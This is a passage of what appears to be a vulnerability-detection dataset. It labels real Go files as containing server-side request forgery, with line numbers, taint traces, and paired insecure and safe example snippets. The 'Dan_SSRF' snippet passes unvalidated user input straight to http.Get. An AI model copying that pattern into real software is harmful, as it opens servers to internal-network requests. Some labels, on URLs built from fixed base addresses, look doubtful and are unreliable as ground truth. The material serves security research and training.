hash[:], s.Signature); err != nil {\n\t\treturn errors.Annotate(err, \"failed to verify that AuthDB was signed by %q\", s.SignerId).Err()\n\t}\n\treturn nil\n}\n\n// deserializeAuthDB unmarshals and validates AuthDB stored in serialized\n// ReplicationPushRequest.\nfunc (f *Fetcher) deserializeAuthDB(ctx context.Context, blob []byte) (*authdb.SnapshotDB, error) {\n\tm := protocol.ReplicationPushRequest{}\n\tif err := proto.Unmarshal(blob, &m); err != nil {\n\t\treturn nil, errors.Annotate(err, \"failed to unmarshal ReplicationPushRequest\").Err()\n\t}\n\trev := m.Revision.AuthDbRev\n\tlogging.Infof(ctx,\n\t\t\"AuthDB snapshot rev %d generated by %s (using components.auth v%s)\",\n\t\trev, m.Revision.PrimaryId, m.AuthCodeVersion)\n\tsnap, err := authdb.NewSnapshotDB(m.AuthDb, f.AuthServiceURL, rev, true)\n\tif err != nil {\n\t\treturn nil, errors.Annotate(err, \"snapshot at rev %d fails validation\", rev).Err()\n\t}\n\treturn snap, nil\n}\n\n// requestAccess asks Auth Service to grant us access to the AuthDB dump.\nfunc (f *Fetcher) requestAccess(ctx context.Context) error {\n\tsvc := service.AuthService{\n\t\tURL: f.AuthServiceURL,\n\t\tOAuthScopes: f.OAuthScopes, // use same scopes as for GCS to reuse the cached token\n\t}\n\tlogging.Warningf(ctx, \"Asking %s to grant us access to read %q...\", f.AuthServiceURL, f.StorageDumpPath)\n\tswitch info, err := svc.RequestAccess(ctx); {\n\tcase err != nil:\n\t\treturn transient.Tag.Apply(err)\n\tcase info.StorageDumpPath == \"\":\n\t\treturn errors.Reason(\"service %s is not configured to upload AuthDB to GCS\", f.AuthServiceURL).Err()\n\tcase info.StorageDumpPath != f.StorageDumpPath:\n\t\t// Note: we can't just dynamically \"fix\" f.StorageDumpPath. It is important\n\t\t// that original configuration (e.g. CLI flag) is fixed too, otherwise after\n\t\t// restart we'll resume looking at the wrong place. So treat this situation\n\t\t// as a fatal error.\n\t\treturn errors.Reason(\"wrong configuration: service %s uploads AuthDB to %q, but we are looking at %q\",\n\t\t\tf.AuthServiceURL, info.StorageDumpPath, f.StorageDumpPath).Err()\n\tdefault:\n\t\tlogging.Infof(ctx, \"Access granted\")\n\t\treturn nil\n\t}\n}\n\n// fetchFromGCS fetches gs:/// file into memory.\nfunc (f *Fetcher) fetchFromGCS(ctx context.Context, client *http.Client, rel string) (statusCode int, body []byte, err error) {\n\tstorageURL := \"https://storage.googleapis.com\"\n\tif f.testStorageURL != \"\" {\n\t\tstorageURL = f.testStorageURL\n\t}\n\turl := fmt.Sprintf(\"%s/%s/%s\", storageURL, f.StorageDumpPath, rel)\n\n\treq, _ := http.NewRequest(\"GET\", url, nil)\n\tresp, err := client.Do(req.WithContext(ctx))\n\tif err != nil {\n\t\treturn 0, nil, errors.Annotate(err, \"GET %s\", url).Err()\n\t}\n\tdefer resp.Body.Close()\n\n\tblob, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn 0, nil, errors.Annotate(err, \"GET %s\", url).Err()\n\t}\n\treturn resp.StatusCode, blob, nil\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 267, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 267, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 269, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "NewRequest"}}]}} {"id": "9ccd382d5ac121b385a389a5c48b3559440caa1afe5c63106271ccca268a71a4", "license": {"spdx": ["MIT"], "repo": "xerion3800/evcc", "path": "detect/http.go", "repo_head_hexsha": "5600b37ea07ba1e70b1508b37b3799cd8426a976", "stack_hexsha": "8c3c1fdb0e255e94ba1b9819ea3d9a93fa0d9d84", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 67, "entireCode": "package detect\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"net/http\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/mark-sch/evcc/util\"\n\t\"github.com/mark-sch/evcc/util/jq\"\n\t\"github.com/itchyny/gojq\"\n)\n\nfunc init() {\n\tregistry.Add(\"http\", HttpHandlerFactory)\n}\n\ntype HttpResult struct {\n\tJq interface{}\n}\n\nfunc HttpHandlerFactory(conf map[string]interface{}) (TaskHandler, error) {\n\thandler := HttpHandler{\n\t\tSchema: \"http\",\n\t\tPort: 80,\n\t\tMethod: \"GET\",\n\t\tCodes: []int{200},\n\t\tHeader: map[string]string{\n\t\t\t\"Content-type\": \"application/json\",\n\t\t},\n\t\tTimeout: 3 * timeout,\n\t}\n\n\terr := util.DecodeOther(conf, &handler)\n\n\tif !(handler.Schema == \"http\" && handler.Port == 80 ||\n\t\thandler.Schema == \"https\" && handler.Port == 443) {\n\t\thandler.optionalPort = fmt.Sprintf(\":%d\", handler.Port)\n\t}\n\n\tif handler.Jq != \"\" {\n\t\tquery, err := gojq.Parse(handler.Jq)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"invalid jq query: %s (%s)\", handler.Jq, err)\n\t\t}\n\n\t\thandler.query = query\n\t}\n\n\treturn &handler, err\n}\n\ntype HttpHandler struct {\n\tquery *gojq.Query\n\tPort int\n\toptionalPort string\n\tSchema, Method, Path string\n\tCodes []int\n\tHeader map[string]string\n\tJq string\n\tTimeout time.Duration\n}\n\nfunc (h *HttpHandler) Test(log *util.Logger, ip string) []interface{} {\n\turi := fmt.Sprintf(\"%s://%s%s/%s\", h.Schema, ip, h.optionalPort, strings.TrimLeft(h.Path, \"/\"))\n\treq, err := http.NewRequest(strings.ToUpper(h.Method), uri, nil)\n\tif err != nil {\n\t\treturn nil\n\t}\n\n\tclient := http.Client{\n\t\tTimeout: h.Timeout,\n\t}\n\n\tresp, err := client.Do(req)\n\tif err != nil {\n\t\treturn nil\n\t}\n\n\tdefer resp.Body.Close()\n\n\tif len(h.Codes) > 0 {\n\t\tvar status bool\n\t\tfor _, code := range h.Codes {\n\t\t\tif resp.StatusCode == code {\n\t\t\t\tstatus = true\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\t\tif !status {\n\t\t\treturn nil\n\t\t}\n\t}\n\n\tbody, err := io.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn nil\n\t}\n\n\tvar res HttpResult\n\tif h.query != nil {\n\t\tval, err := jq.Query(h.query, body)\n\t\tres.Jq = val\n\n\t\tif val == nil || err != nil {\n\t\t\treturn nil\n\t\t}\n\t}\n\n\tif err == nil {\n\t\treturn []interface{}{res}\n\t}\n\n\treturn nil\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 66, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 66, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 67, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "NewRequest"}}]}} {"id": "b15c524ae92a68a6e4ce123be54dafbb73b125cfff28a242b2d07e023b3a0fd8", "license": {"spdx": ["MIT"], "repo": "innovate-technologies/iammobile", "path": "asn.go", "repo_head_hexsha": "d9f0d08284d514d6a037678aa202e02cb0f5edaa", "stack_hexsha": "40e64f297668ab2cc015ce8a0c439da9060e4847", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 20, "entireCode": "package main\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"net/http\"\n)\n\ntype asnInfo struct {\n\tAnnounced bool `json:\"announced\"`\n\tAsCountryCode string `json:\"as_country_code\"`\n\tAsDescription string `json:\"as_description\"`\n\tAsNumber int `json:\"as_number\"`\n\tFirstIP string `json:\"first_ip\"`\n\tLastIP string `json:\"last_ip\"`\n}\n\nfunc getASNInfo(ip string) (*asnInfo, error) {\n\tresponse, err := http.Get(fmt.Sprintf(\"https://api.iptoasn.com/v1/as/ip/%s\", ip))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tdata, err := ioutil.ReadAll(response.Body)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tinfo := asnInfo{}\n\terr = json.Unmarshal(data, &info)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &info, nil\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 20, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 20, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "Get"}}]}} {"id": "e64653f550ddddd2ec0a3341a055e26b13ef9f80cff4f639021d43eae5b99d59", "license": {"spdx": ["MIT"], "repo": "syahrul12345/GithubSearch", "path": "server/request/request.go", "repo_head_hexsha": "4c7bca65c91b59f43269de1ab8cb4abe2df66117", "stack_hexsha": "e4a2d760708d9f89bd7a49a91176c4fb321d7e58", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 133, "entireCode": "package request\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"os\"\n\t\"server/models\"\n\t\"strconv\"\n)\n\nvar (\n\tmainAPI string = \"https://api.github.com/users/\"\n\treadmeAPI string = \"https://raw.githubusercontent.com/\"\n)\n\n//GetRepos will accept a string which is the username to be searched\nfunc GetRepos(Username string) map[string]interface{} {\n\tresp := make(map[string]interface{})\n\t//Create the Oauth authenticated request\n\tclientID := fmt.Sprintf(\"?client_id=%s\", os.Getenv(\"client_id\"))\n\tclientSecret := fmt.Sprintf(\"&client_secret=%s\", os.Getenv(\"client_secret\"))\n\turl := mainAPI + Username + \"/repos\" + clientID + clientSecret\n\tuserInfo := getUserInfo(Username)\n\tif userInfo[\"error\"] != nil {\n\t\tresp[\"error\"] = userInfo[\"error\"]\n\t\treturn resp\n\t}\n\tpageCount := userInfo[\"pages\"]\n\tpagesInt64, ok := pageCount.(int64)\n\tpagesInt := int(pagesInt64)\n\n\t// fmt.Println(page)\n\tif !ok {\n\t\tresp[\"error\"] = \"Failed to convert public repo number\"\n\t\treturn resp\n\t}\n\t//Repositories is the golang struct\n\trepositories := []models.Repository{}\n\t//Asynchronous channel to handle writes\n\tdataChan := make(chan *[]models.Repository)\n\tfor i := 1; i < pagesInt+1; i++ {\n\t\tpageString := strconv.Itoa(i)\n\t\turlTemp := url + \"&page=\" + pageString\n\t\t//Helpers get the respons from the API\n\t\tgo getReposInPage(urlTemp, dataChan)\n\n\t}\n\t//handle asynchronous code seperately\n\t//this should be in a seperate loop from that above\n\t// so we can populate each channel\n\tfor i := 1; i < pagesInt+1; i++ {\n\t\tc := <-dataChan\n\t\trepositories = append(repositories, *c...)\n\t}\n\t//Rebuild the list of repos\n\tresp[\"results\"] = repositories\n\treturn resp\n}\n\n//getReposInPage will get all repos in the current page\nfunc getReposInPage(url string, dataChan chan *[]models.Repository) map[string]interface{} {\n\t//Resp is what we will send back to the frontend to parse\n\tresp := make(map[string]interface{})\n\tfmt.Println(\"Getting repo for url:\", url)\n\t//Make the get response\n\tresponse, responseErr := http.Get(url)\n\t//Handle Wrong URL\n\tif responseErr != nil {\n\t\tresp[\"error\"] = responseErr\n\t\treturn resp\n\t}\n\t//Close body to prevent leakages\n\tdefer response.Body.Close()\n\n\t//Read the response\n\tbody, bodyErr := ioutil.ReadAll(response.Body)\n\tif bodyErr != nil {\n\t\tresp[\"error\"] = bodyErr\n\t\treturn resp\n\t}\n\t//Body returns an Array\n\t//Parse the response\n\trepositories := &[]models.Repository{}\n\tparsedErr := json.Unmarshal(body, &repositories)\n\tif parsedErr != nil {\n\t\tresp[\"error\"] = parsedErr\n\t\treturn resp\n\t}\n\t//If the page returns a 0 array, we dont append it to the channel\n\tdataChan <- repositories\n\treturn resp\n}\n\n//GetReadme returns the readme of one repo belonging to a user\nfunc GetReadme(username string, repo string) map[string]interface{} {\n\t// ReadmeAPI should have this appended: syahrul12345/Battlecards/master/README.md\n\tresp := make(map[string]interface{})\n\treadmeURL := readmeAPI + username + \"/\" + repo + \"/\" + \"/master/README.md\"\n\tresponse, responseErr := http.Get(readmeURL)\n\n\t//Handle if it's not a 200 first. The error handling for other endpoints is a failsafe\n\tif response.StatusCode != 200 {\n\t\tresp[\"error\"] = \"Failed to get readme\"\n\t\treturn resp\n\t}\n\t//Handle Wrong URL\n\tif responseErr != nil {\n\t\tresp[\"error\"] = responseErr\n\t\treturn resp\n\t}\n\t//Close body to prevent leakages\n\tdefer response.Body.Close()\n\n\t//Read the response\n\tbody, bodyErr := ioutil.ReadAll(response.Body)\n\tif bodyErr != nil {\n\t\tresp[\"error\"] = responseErr\n\t\treturn resp\n\t}\n\t//Body returns a string\n\tresp[\"readme\"] = string(body)\n\treturn resp\n}\n\n//getRepoCount will get the number of repos owned by the user\nfunc getUserInfo(Username string) map[string]interface{} {\n\tresp := make(map[string]interface{})\n\tclientID := fmt.Sprintf(\"?client_id=%s\", os.Getenv(\"client_id\"))\n\tclientSecret := fmt.Sprintf(\"&client_secret=%s\", os.Getenv(\"client_secret\"))\n\tuserURL := mainAPI + Username + clientID + clientSecret\n\tresponse, responseErr := http.Get(userURL)\n\tfmt.Println(userURL)\n\t//Handle if it's not a 200 first. The error handling for other endpoints is a failsafe\n\tif response.StatusCode != 200 {\n\t\tresp[\"error\"] = \"Failed to get user info\"\n\t\treturn resp\n\t}\n\t//Handle Wrong URL\n\tif responseErr != nil {\n\t\tresp[\"error\"] = responseErr\n\t\treturn resp\n\t}\n\t//Close body to prevent leakages\n\tdefer response.Body.Close()\n\n\t//Read the response\n\tbody, bodyErr := ioutil.ReadAll(response.Body)\n\tif bodyErr != nil {\n\t\tresp[\"error\"] = responseErr\n\t\treturn resp\n\t}\n\n\t//parse the return object\n\tuser := &models.User{}\n\tparsedError := json.Unmarshal(body, &user)\n\tif parsedError != nil {\n\t\tresp[\"error\"] = parsedError\n\t\treturn resp\n\t}\n\tquotient, remainder := divmod(user.PublicRepos, 30)\n\tfmt.Println(\"the quotient is %d\", quotient)\n\tfmt.Println(\"the divider is %d\", remainder)\n\tif remainder >= 0 {\n\t\t//thers are excesss\n\t\tresp[\"pages\"] = quotient + 1\n\t} else {\n\t\tresp[\"pages\"] = quotient\n\t}\n\treturn resp\n\n}\n\nfunc divmod(numerator, denominator int64) (quotient, remainder int64) {\n\tquotient = numerator / denominator // integer division, decimals are truncated\n\tremainder = numerator % denominator\n\treturn\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 131, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 131, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 132, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 133, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "Get"}}]}} {"id": "fb473ae4a19b333bee5e781e1caa53e71f30667329ae27b93fc061cd1de46a86", "license": {"spdx": ["MIT"], "repo": "har777/gistsync", "path": "gistsync.go", "repo_head_hexsha": "8b8633c2e39bd11a09e2a0d5e0526e11e34daf8a", "stack_hexsha": "e0a39cf25427ed5678dacbe3da4887886557c133", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 31, "entireCode": "package main\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"net/http\"\n\t\"os\"\n\t\"os/exec\"\n\t\"path/filepath\"\n\t\"strings\"\n)\n\n// Gist structure\ntype Gist struct {\n\tGitPullURL string `json:\"git_pull_url\"`\n\tDescription string `json:\"description\"`\n}\n\nfunc main() {\n\tusername := os.Args[1]\n\tsyncFolder := os.Args[2]\n\n\tif _, err := os.Stat(syncFolder); os.IsNotExist(err) {\n\t\tos.Mkdir(syncFolder, os.ModePerm)\n\t}\n\n\turl := fmt.Sprintf(\"https://api.github.com/users/%s/gists\", username)\n\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\tlog.Fatalln(err)\n\t}\n\tdefer resp.Body.Close()\n\n\tbody, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\tlog.Fatalln(err)\n\t}\n\n\tvar gists []Gist\n\terr = json.Unmarshal([]byte(body), &gists)\n\tif err != nil {\n\t\tlog.Fatalln(err)\n\t}\n\tlog.Println(\"Syncing \", len(gists), \" gists\")\n\n\tfor _, gist := range gists {\n\t\tdescription := gist.Description\n\t\tdescription = strings.Replace(description, \" \", \"-\", -1)\n\t\tdescription = strings.Replace(description, \".\", \"\", -1)\n\n\t\tdefaultRepoName := gist.GitPullURL[strings.LastIndex(gist.GitPullURL, \"/\")+1 : strings.LastIndex(gist.GitPullURL, \".git\")]\n\t\tvar repoName string\n\t\tif description != \"\" {\n\t\t\trepoName = fmt.Sprintf(\"%s:%s\", description, defaultRepoName)\n\t\t} else {\n\t\t\trepoName = defaultRepoName\n\t\t}\n\t\trepoFolder := filepath.Join(syncFolder, repoName)\n\n\t\tif _, err := os.Stat(repoFolder); err == nil {\n\t\t\tlog.Println(\"Pulling: \", repoName)\n\t\t\tcmd := exec.Command(\"git\", \"pull\", gist.GitPullURL)\n\t\t\tcmd.Dir = repoFolder\n\t\t\terr = cmd.Run()\n\t\t\tif err != nil {\n\t\t\t\tlog.Fatalln(err)\n\t\t\t}\n\t\t} else {\n\t\t\tlog.Println(\"Cloning: \", repoName)\n\t\t\tcmd := exec.Command(\"git\", \"clone\", gist.GitPullURL, repoName)\n\t\t\tcmd.Dir = syncFolder\n\t\t\terr := cmd.Run()\n\t\t\tif err != nil {\n\t\t\t\tlog.Fatalln(err)\n\t\t\t}\n\t\t}\n\t}\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 29, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 29, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 31, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "Get"}}]}} {"id": "6d8854e6453145707fd5ccfb7db33c4d22a6178dbe32f434898e6102c6415686", "license": {"spdx": ["MIT"], "repo": "Unity-Technologies/vault-secret-fetcher", "path": "client.go", "repo_head_hexsha": "fc3ca62b61284756701affd23f0e7a61c83da2c3", "stack_hexsha": "207ce91330f3ec4be3d2f7a0efa899b3aeb3b90f", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 189, "entireCode": "package main\n\nimport (\n\t\"bytes\"\n\t\"crypto/tls\"\n\t\"crypto/x509\"\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"net/http\"\n\n\t\"github.com/sethgrid/pester\"\n)\n\nfunc newPesterClient(httpClient *http.Client) *pester.Client {\n\tpesterClient := pester.NewExtendedClient(httpClient)\n\tpesterClient.Concurrency = 1\n\tpesterClient.MaxRetries = 5\n\tpesterClient.Backoff = pester.ExponentialBackoff\n\tpesterClient.KeepLog = true\n\treturn pesterClient\n}\n\nfunc PrepareHTTPSClient() *pester.Client {\n\tsysCertStoreFailed := false\n\tembeddedCertFailed := false\n\n\tcertPool, err := x509.SystemCertPool()\n\tif err != nil || certPool == nil {\n\t\tsysCertStoreFailed = true\n\t\tcertPool = x509.NewCertPool()\n\t\tlog.Println(\"INFO: PrepareHTTPClient() failed to get the system's cert store; using embedded cert\")\n\t}\n\tok := certPool.AppendCertsFromPEM([]byte(PinnedCert))\n\tif !ok {\n\t\tembeddedCertFailed = false\n\t\tlog.Println(\"INFO: PrepareHTTPClient() failed to parse the embedded cert; using system cert store\")\n\t}\n\n\tif sysCertStoreFailed && embeddedCertFailed {\n\t\tlog.Fatal(\"ERROR: Both embedded cert and system cert store failed.\")\n\t}\n\n\ttlsConfig := &tls.Config{\n\t\tRootCAs: certPool,\n\t}\n\ttlsConfig.BuildNameToCertificate()\n\ttransport := &http.Transport{TLSClientConfig: tlsConfig}\n\tclient := &http.Client{Transport: transport}\n\n\treturn newPesterClient(client)\n}\n\ntype VaultV1Data map[string]string\n\ntype VaultV2Data struct {\n\tData VaultV1Data `json:\"data\"`\n}\n\ntype VaultReadResponse interface {\n\tGetSecret(string) (string, error)\n}\n\ntype VaultBaseResponse struct {\n\tWarnings []string `json:\"warnings\" yaml:\"warnings\" `\n\tErrors []string `json:\"errors\" yaml:\"errors\" `\n\tRequestID string `json:\"request_id\" yaml:\"request_id\" `\n\tLeaseID string `json:\"lease_id\" yaml:\"lease_id\" `\n\tRenewable bool `json:\"renewable\" yaml:\"renewable\" `\n\tLeaseDuration int `json:\"lease_duration\" yaml:\"lease_duration\" `\n}\n\ntype VaultV1Response struct {\n\tVaultBaseResponse\n\tData VaultV1Data `json:\"data\" yaml:\"data\" `\n}\n\nfunc NewVaultV1Response(data []byte) (VaultReadResponse, error) {\n\tvar resp VaultV1Response\n\n\tif err := json.Unmarshal(data, &resp); err != nil {\n\t\treturn nil, err\n\t}\n\treturn resp, nil\n}\n\nfunc (r VaultV1Response) GetSecret(key string) (string, error) {\n\tvar value string\n\tvar ok bool\n\n\tif value, ok = r.Data[key]; !ok {\n\t\treturn \"\", errors.New(fmt.Sprintf(\"no value for key: %s\", key))\n\t}\n\treturn value, nil\n}\n\ntype VaultV2Response struct {\n\tVaultBaseResponse\n\tData VaultV2Data `json:\"data\" yaml:\"data\" `\n}\n\nfunc NewVaultV2Response(data []byte) (VaultReadResponse, error) {\n\tvar resp VaultV2Response\n\n\tif err := json.Unmarshal(data, &resp); err != nil {\n\t\treturn nil, err\n\t}\n\treturn resp, nil\n}\n\nfunc (r VaultV2Response) GetSecret(key string) (string, error) {\n\tvar value string\n\tvar ok bool\n\n\tif value, ok = r.Data.Data[key]; !ok {\n\t\treturn \"\", errors.New(fmt.Sprintf(\"no value for key: %s\", key))\n\t}\n\treturn value, nil\n}\n\ntype VaultClient struct {\n\tvaultAddress string\n\tcluster string\n\tjwt string\n\tauthURL string\n\tnamespace string\n\trole string\n\tclient *pester.Client\n\ttoken string\n\tBackendVersion string\n}\n\nvar vaultClient *VaultClient\n\nfunc NewVaultClient() *VaultClient {\n\tif vaultClient == nil {\n\t\tvaultAddress := GetenvSafe(\"VAULT_ADDR\", true)\n\t\tcluster := GetenvSafe(\"KUBERNETES_CLUSTER\", true)\n\t\tjwt := GetenvSafe(\"VAULT_SERVICE_ACCOUNT_JWT\", true)\n\t\tauthURL := fmt.Sprintf(\"%s/v1/auth/kubernetes-%s/login\", vaultAddress, cluster)\n\t\tnamespace := GetNamespace()\n\t\trole := fmt.Sprintf(\"%s-vault-sa\", namespace)\n\t\tclient := PrepareHTTPSClient()\n\t\tvaultBackendVersion := GetenvSafe(\"VAULT_KV_VERSION\", 